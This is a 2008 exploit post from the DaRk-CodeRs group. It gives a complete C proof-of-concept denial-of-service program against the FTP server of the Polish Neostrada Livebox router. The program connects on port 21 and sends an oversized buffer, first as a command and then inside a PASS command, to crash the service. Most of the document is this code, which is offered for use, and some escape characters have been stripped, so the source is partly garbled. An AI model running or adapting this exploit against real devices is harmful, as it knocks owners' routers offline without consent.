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liveboxftp-overflow.txt

Posted on 04 March 2008

Livebox Router vulnerability to REMOTE BUFFER OVERFLOW DoS

Discovered by: 0in from DaRk-CodeRs Security & Programming Group!
http://dark-coders.4rh.eu

DESCRIPTION:
Livebox (tested on polish "Neostrada TP Livebox") is vulnerability to remote (but from local network, because firewall working..) buffer overflow DoS attack to FTP service.
FULL FTP SERVER NAME:"ADI Convergence Galaxy FTP server v0.1".

POC:

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>

int port=21;
struct hostent *he;
struct sockaddr_in their_addr;



int konekt(char *addr)
{
int sock;

he=gethostbyname(addr);
if(he==NULL)
{
printf("Unknow host!
exiting...");
return -1;
}
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
perror("socket");
return -2;
}

their_addr.sin_family = AF_INET;
their_addr.sin_port = htons(port);
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
memset(&(their_addr.sin_zero), '', 8);
if (connect(sock, (struct sockaddr *)&their_addr,
sizeof(struct sockaddr)) == -1)
{
perror("connect");
return -1;
}

return sock;
}

int main(int argc,char *argv[])
{
printf("
+===============================Yeah======================================+");
printf("
+= ADI Convergence Galaxy FTP Server v1.0 (Neostrada Livebox DSL Router) =+");
printf("
+=               Remote Buffer Overflow DoS Exploit                      =+");
printf("
+=                              bY                                       =+");
printf("
+=        Maks M. [0in] From Dark-CodeRs Security & Programming Group!   =+");
printf("
+=                    0in(dot)email[at]gmail(dot)com                     =+");
printf("
+=               Please visit: http://dark-coders.4rh.eu                 =+");
printf("
+=      Greetings to: Die_Angel, Sun8hclf, M4r1usz, Aristo89, Djlinux    =+");
printf("
+=                    MaLy, Slim, elwin013, Rade0n3900, Wojto111,        =+");
printf("
+=                    Chomzee, AfroPL, Joker186                          =+");
printf("
+===============================Yeah======================================+");

if(argc<2)
{
printf("
Use %s [IP]!
",argv[0]);
exit(0);
}
printf("
Connecting to:%s...",argv[1]);
int sock=konekt(argv[1]);
if(sock<0)
{
printf("
eh...");
exit(0);
}
printf("
Connected!!
");
char rcv[256];
recv(sock,rcv,255,0);
printf("
%s
",rcv);
printf("
Sending evil buffer..");
char evil[100*100]="%nx01x02x03x04";
int i;
for(i=0;i<(100*100)-100;i++)
{
strcat(evil,"A");
}

strcat(evil,"
");
send(sock,evil,strlen(evil),0);
strcpy(rcv,"");
recv(sock,rcv,255,0);
printf("
%s
",rcv);
char pass[100*1000]="PASS ";
strcat(pass,evil);
strcat(pass,"

");
send(sock,pass,strlen(pass),0);
strcpy(rcv,"");
recv(sock,rcv,255,0);
printf("
%s
",rcv);
printf("
OK!
You're Livebox FTP server should fu**ed out...");

exit(0);
}

EOF.

 

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